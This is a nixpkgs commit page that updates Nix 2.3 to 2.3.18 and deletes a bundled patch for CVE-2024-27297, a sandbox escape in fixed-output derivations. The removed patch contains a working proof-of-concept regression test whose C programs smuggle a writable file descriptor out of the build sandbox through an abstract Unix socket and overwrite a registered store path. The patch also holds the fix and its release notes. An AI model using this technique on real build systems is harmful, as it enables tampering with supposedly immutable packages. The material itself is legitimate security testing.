diff options
author | PerchunPak <git@perchun.it> | 2024-03-17 16:29:43 +0100 |
---|---|---|
committer | PerchunPak <git@perchun.it> | 2024-04-27 14:36:22 +0200 |
commit | cbb8cd19a0c004beb7b6ade537a533b32b30d87c (patch) | |
tree | d96e42d84b7b87edf1a24b972727ab0dfb816caf /pkgs/tools/package-management/nix | |
parent | 51c39ced2a778d38032c1f76767fd7d703aa85bf (diff) |
nixVersions.nix_2_3: 2.3.17 -> 2.3.18
Changes: https://github.com/NixOS/nix/compare/2.3.17...2.3.18
Diffstat (limited to 'pkgs/tools/package-management/nix')
-rw-r--r-- | pkgs/tools/package-management/nix/default.nix | 5 | ||||
-rw-r--r-- | pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch | 375 |
2 files changed, 2 insertions, 378 deletions
diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 675bcca59072b..bfc8dab0e40e3 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -142,11 +142,10 @@ let in lib.makeExtensible (self: ({ nix_2_3 = ((common { - version = "2.3.17"; - hash = "sha256-EK0pgHDekJFqr0oMj+8ANIjq96WPjICe2s0m4xkUdH4="; + version = "2.3.18"; + hash = "sha256-jBz2Ub65eFYG+aWgSI3AJYvLSghio77fWQiIW1svA9U="; patches = [ patch-monitorfdhup - ./patches/2_3/CVE-2024-27297.patch ]; maintainers = with lib.maintainers; [ flokli raitobezarius ]; }).override { boehmgc = boehmgc-nix_2_3; }).overrideAttrs { diff --git a/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch b/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch deleted file mode 100644 index b8201cb99ef5c..0000000000000 --- a/pkgs/tools/package-management/nix/patches/2_3/CVE-2024-27297.patch +++ /dev/null @@ -1,375 +0,0 @@ -From 9c0be4c156e74a3e7e0d33b04d870642350e72d4 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= - <theophane.hufschmitt@tweag.io> -Date: Mon, 12 Feb 2024 21:28:20 +0100 -Subject: [PATCH 1/4] Add a NixOS test for the sandbox escape - -Test that we can't leverage abstract unix domain sockets to leak file -descriptors out of the sandbox and modify the path after it has been -registered. ---- - release.nix | 5 ++ - tests/nixos/ca-fd-leak/default.nix | 93 ++++++++++++++++++++++++++++++ - tests/nixos/ca-fd-leak/sender.c | 65 +++++++++++++++++++++ - tests/nixos/ca-fd-leak/smuggler.c | 66 +++++++++++++++++++++ - 4 files changed, 229 insertions(+) - create mode 100644 tests/nixos/ca-fd-leak/default.nix - create mode 100644 tests/nixos/ca-fd-leak/sender.c - create mode 100644 tests/nixos/ca-fd-leak/smuggler.c - -diff --git a/release.nix b/release.nix -index f468946c5..2e71f3796 100644 ---- a/release.nix -+++ b/release.nix -@@ -235,6 +235,11 @@ let - nix = build.x86_64-linux; system = "x86_64-linux"; - }); - -+ tests.ca-fd-leak = (import ./tests/nixos/ca-fd-leak rec { -+ inherit nixpkgs; -+ nix = build.x86_64-linux; system = "x86_64-linux"; -+ }); -+ - tests.setuid = pkgs.lib.genAttrs - ["i686-linux" "x86_64-linux"] - (system: -diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix -new file mode 100644 -index 000000000..c252caa4d ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/default.nix -@@ -0,0 +1,93 @@ -+# Nix is a sandboxed build system. But Not everything can be handled inside its -+# sandbox: Network access is normally blocked off, but to download sources, a -+# trapdoor has to exist. Nix handles this by having "Fixed-output derivations". -+# The detail here is not important, but in our case it means that the hash of -+# the output has to be known beforehand. And if you know that, you get a few -+# rights: you no longer run inside a special network namespace! -+# -+# Now, Linux has a special feature, that not many other unices do: Abstract -+# unix domain sockets! Not only that, but those are namespaced using the -+# network namespace! That means that we have a way to create sockets that are -+# available in every single fixed-output derivation, and also all processes -+# running on the host machine! Now, this wouldn't be that much of an issue, as, -+# well, the whole idea is that the output is pure, and all processes in the -+# sandbox are killed before finalizing the output. What if we didn't need those -+# processes at all? Unix domain sockets have a semi-known trick: you can pass -+# file descriptors around! -+# This makes it possible to exfiltrate a file-descriptor with write access to -+# $out outside of the sandbox. And that file-descriptor can be used to modify -+# the contents of the store path after it has been registered. -+ -+{ nixpkgs, system, nix }: -+ -+with import (nixpkgs + "/nixos/lib/testing-python.nix") { -+ inherit system; -+}; -+ -+let -+ # Simple C program that sends a a file descriptor to `$out` to a Unix -+ # domain socket. -+ # Compiled statically so that we can easily send it to the VM and use it -+ # inside the build sandbox. -+ sender = pkgs.runCommandWith { -+ name = "sender"; -+ stdenv = pkgs.pkgsStatic.stdenv; -+ } '' -+ $CC -static -o $out ${./sender.c} -+ ''; -+ -+ # Okay, so we have a file descriptor shipped out of the FOD now. But the -+ # Nix store is read-only, right? .. Well, yeah. But this file descriptor -+ # lives in a mount namespace where it is not! So even when this file exists -+ # in the actual Nix store, we're capable of just modifying its contents... -+ smuggler = pkgs.writeCBin "smuggler" (builtins.readFile ./smuggler.c); -+ -+ # The abstract socket path used to exfiltrate the file descriptor -+ socketName = "FODSandboxExfiltrationSocket"; -+in -+makeTest { -+ name = "ca-fd-leak"; -+ -+ nodes.machine = -+ { config, lib, pkgs, ... }: -+ { virtualisation.writableStore = true; -+ virtualisation.pathsInNixDB = [ pkgs.busybox-sandbox-shell sender smuggler pkgs.socat ]; -+ nix.binaryCaches = [ ]; -+ nix.package = nix; -+ }; -+ -+ testScript = { nodes }: '' -+ start_all() -+ -+ machine.succeed("echo hello") -+ # Start the smuggler server -+ machine.succeed("${smuggler}/bin/smuggler ${socketName} >&2 &") -+ -+ # Build the smuggled derivation. -+ # This will connect to the smuggler server and send it the file descriptor -+ machine.succeed(r""" -+ nix-build -E ' -+ builtins.derivation { -+ name = "smuggled"; -+ system = builtins.currentSystem; -+ # look ma, no tricks! -+ outputHashMode = "flat"; -+ outputHashAlgo = "sha256"; -+ outputHash = builtins.hashString "sha256" "hello, world\n"; -+ builder = "${pkgs.busybox-sandbox-shell}/bin/sh"; -+ args = [ "-c" "echo \"hello, world\" > $out; ''${${sender}} ${socketName}" ]; -+ }' -+ """.strip()) -+ -+ -+ # Tell the smuggler server that we're done -+ machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") -+ -+ # Check that the file was modified -+ machine.succeed(r""" -+ cat ./result -+ test "$(cat ./result)" = "hello, world" -+ """.strip()) -+ ''; -+ -+} -diff --git a/tests/nixos/ca-fd-leak/sender.c b/tests/nixos/ca-fd-leak/sender.c -new file mode 100644 -index 000000000..75e54fc8f ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/sender.c -@@ -0,0 +1,65 @@ -+#include <sys/socket.h> -+#include <sys/un.h> -+#include <stdlib.h> -+#include <stddef.h> -+#include <stdio.h> -+#include <unistd.h> -+#include <fcntl.h> -+#include <errno.h> -+#include <string.h> -+#include <assert.h> -+ -+int main(int argc, char **argv) { -+ -+ assert(argc == 2); -+ -+ int sock = socket(AF_UNIX, SOCK_STREAM, 0); -+ -+ // Set up a abstract domain socket path to connect to. -+ struct sockaddr_un data; -+ data.sun_family = AF_UNIX; -+ data.sun_path[0] = 0; -+ strcpy(data.sun_path + 1, argv[1]); -+ -+ // Now try to connect, To ensure we work no matter what order we are -+ // executed in, just busyloop here. -+ int res = -1; -+ while (res < 0) { -+ res = connect(sock, (const struct sockaddr *)&data, -+ offsetof(struct sockaddr_un, sun_path) -+ + strlen(argv[1]) -+ + 1); -+ if (res < 0 && errno != ECONNREFUSED) perror("connect"); -+ if (errno != ECONNREFUSED) break; -+ } -+ -+ // Write our message header. -+ struct msghdr msg = {0}; -+ msg.msg_control = malloc(128); -+ msg.msg_controllen = 128; -+ -+ // Write an SCM_RIGHTS message containing the output path. -+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -+ hdr->cmsg_len = CMSG_LEN(sizeof(int)); -+ hdr->cmsg_level = SOL_SOCKET; -+ hdr->cmsg_type = SCM_RIGHTS; -+ int fd = open(getenv("out"), O_RDWR | O_CREAT, 0640); -+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int)); -+ -+ msg.msg_controllen = CMSG_SPACE(sizeof(int)); -+ -+ // Write a single null byte too. -+ msg.msg_iov = malloc(sizeof(struct iovec)); -+ msg.msg_iov[0].iov_base = ""; -+ msg.msg_iov[0].iov_len = 1; -+ msg.msg_iovlen = 1; -+ -+ // Send it to the othher side of this connection. -+ res = sendmsg(sock, &msg, 0); -+ if (res < 0) perror("sendmsg"); -+ int buf; -+ -+ // Wait for the server to close the socket, implying that it has -+ // received the commmand. -+ recv(sock, (void *)&buf, sizeof(int), 0); -+} -diff --git a/tests/nixos/ca-fd-leak/smuggler.c b/tests/nixos/ca-fd-leak/smuggler.c -new file mode 100644 -index 000000000..82acf37e6 ---- /dev/null -+++ b/tests/nixos/ca-fd-leak/smuggler.c -@@ -0,0 +1,66 @@ -+#include <sys/socket.h> -+#include <sys/un.h> -+#include <stdlib.h> -+#include <stddef.h> -+#include <stdio.h> -+#include <unistd.h> -+#include <assert.h> -+ -+int main(int argc, char **argv) { -+ -+ assert(argc == 2); -+ -+ int sock = socket(AF_UNIX, SOCK_STREAM, 0); -+ -+ // Bind to the socket. -+ struct sockaddr_un data; -+ data.sun_family = AF_UNIX; -+ data.sun_path[0] = 0; -+ strcpy(data.sun_path + 1, argv[1]); -+ int res = bind(sock, (const struct sockaddr *)&data, -+ offsetof(struct sockaddr_un, sun_path) -+ + strlen(argv[1]) -+ + 1); -+ if (res < 0) perror("bind"); -+ -+ res = listen(sock, 1); -+ if (res < 0) perror("listen"); -+ -+ int smuggling_fd = -1; -+ -+ // Accept the connection a first time to receive the file descriptor. -+ fprintf(stderr, "%s\n", "Waiting for the first connection"); -+ int a = accept(sock, 0, 0); -+ if (a < 0) perror("accept"); -+ -+ struct msghdr msg = {0}; -+ msg.msg_control = malloc(128); -+ msg.msg_controllen = 128; -+ -+ // Receive the file descriptor as sent by the smuggler. -+ recvmsg(a, &msg, 0); -+ -+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg); -+ while (hdr) { -+ if (hdr->cmsg_level == SOL_SOCKET -+ && hdr->cmsg_type == SCM_RIGHTS) { -+ -+ // Grab the copy of the file descriptor. -+ memcpy((void *)&smuggling_fd, CMSG_DATA(hdr), sizeof(int)); -+ } -+ -+ hdr = CMSG_NXTHDR(&msg, hdr); -+ } -+ fprintf(stderr, "%s\n", "Got the file descriptor. Now waiting for the second connection"); -+ close(a); -+ -+ // Wait for a second connection, which will tell us that the build is -+ // done -+ a = accept(sock, 0, 0); -+ fprintf(stderr, "%s\n", "Got a second connection, rewriting the file"); -+ // Write a new content to the file -+ if (ftruncate(smuggling_fd, 0)) perror("ftruncate"); -+ char * new_content = "Pwned\n"; -+ int written_bytes = write(smuggling_fd, new_content, strlen(new_content)); -+ if (written_bytes != strlen(new_content)) perror("write"); -+} - -From 8c27eb6c1bc490c9d2f3c7c1dedb1ca3c8e00759 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= - <theophane.hufschmitt@tweag.io> -Date: Tue, 13 Feb 2024 08:28:02 +0100 -Subject: [PATCH 2/4] Copy the output of fixed-output derivations before - registering them - -It is possible to exfiltrate a file descriptor out of the build sandbox -of FODs, and use it to modify the store path after it has been -registered. -To avoid that issue, don't register the output of the build, but a copy -of it (that will be free of any leaked file descriptor). ---- - src/libstore/build.cc | 11 +++++++++-- - 1 file changed, 9 insertions(+), 2 deletions(-) - -diff --git a/src/libstore/build.cc b/src/libstore/build.cc -index d3a712c1a..3fb827a15 100644 ---- a/src/libstore/build.cc -+++ b/src/libstore/build.cc -@@ -3286,10 +3286,17 @@ void DerivationGoal::registerOutputs() - throw BuildError(format("suspicious ownership or permission on '%1%'; rejecting this build output") % path); - #endif - -- /* Apply hash rewriting if necessary. */ -+ /* Apply hash rewriting if necessary. -+ * -+ * For FODs, we always do the dump-and-restore dance regardless to make -+ * sure that there's no stale file descriptor pointing to the output -+ * of the path. -+ * */ - bool rewritten = false; -- if (!outputRewrites.empty()) { -+ if (fixedOutput || !outputRewrites.empty()) { -+ if (!outputRewrites.empty()) { - printError(format("warning: rewriting hashes in '%1%'; cross fingers") % path); -+ } - - /* Canonicalise first. This ensures that the path we're - rewriting doesn't contain a hard link to /etc/shadow or - -From 2064277b0566c361339d55fbbf46edbc2519f3b3 Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= - <7226587+thufschmitt@users.noreply.github.com> -Date: Wed, 21 Feb 2024 17:32:36 +0100 -Subject: [PATCH 3/4] Fix a typo in a test comment - -Co-authored-by: Valentin Gagarin <valentin.gagarin@tweag.io> ---- - tests/nixos/ca-fd-leak/default.nix | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/tests/nixos/ca-fd-leak/default.nix b/tests/nixos/ca-fd-leak/default.nix -index c252caa4d..2fd5ca2d6 100644 ---- a/tests/nixos/ca-fd-leak/default.nix -+++ b/tests/nixos/ca-fd-leak/default.nix -@@ -83,7 +83,7 @@ makeTest { - # Tell the smuggler server that we're done - machine.execute("echo done | ${pkgs.socat}/bin/socat - ABSTRACT-CONNECT:${socketName}") - -- # Check that the file was modified -+ # Check that the file was not modified - machine.succeed(r""" - cat ./result - test "$(cat ./result)" = "hello, world" - -From 8604f6d32976fbdf84e46f75cbfa2446209b8a6b Mon Sep 17 00:00:00 2001 -From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= - <theophane.hufschmitt@tweag.io> -Date: Fri, 1 Mar 2024 09:31:05 +0100 -Subject: [PATCH 4/4] Add release notes - ---- - doc/manual/rl-next/fod-sandbox-escape.md | 14 ++++++++++++++ - 1 file changed, 14 insertions(+) - create mode 100644 doc/manual/rl-next/fod-sandbox-escape.md - -diff --git a/doc/manual/rl-next/fod-sandbox-escape.md b/doc/manual/rl-next/fod-sandbox-escape.md -new file mode 100644 -index 000000000..ed451711e ---- /dev/null -+++ b/doc/manual/rl-next/fod-sandbox-escape.md -@@ -0,0 +1,14 @@ -+--- -+synopsis: Fix a FOD sandbox escape -+issues: -+prs: -+--- -+ -+Cooperating Nix derivations could send file descriptors to files in the Nix -+store to each other via Unix domain sockets in the abstract namespace. This -+allowed one derivation to modify the output of the other derivation, after Nix -+has registered the path as "valid" and immutable in the Nix database. -+In particular, this allowed the output of fixed-output derivations to be -+modified from their expected content. -+ -+This isn't the case any more. |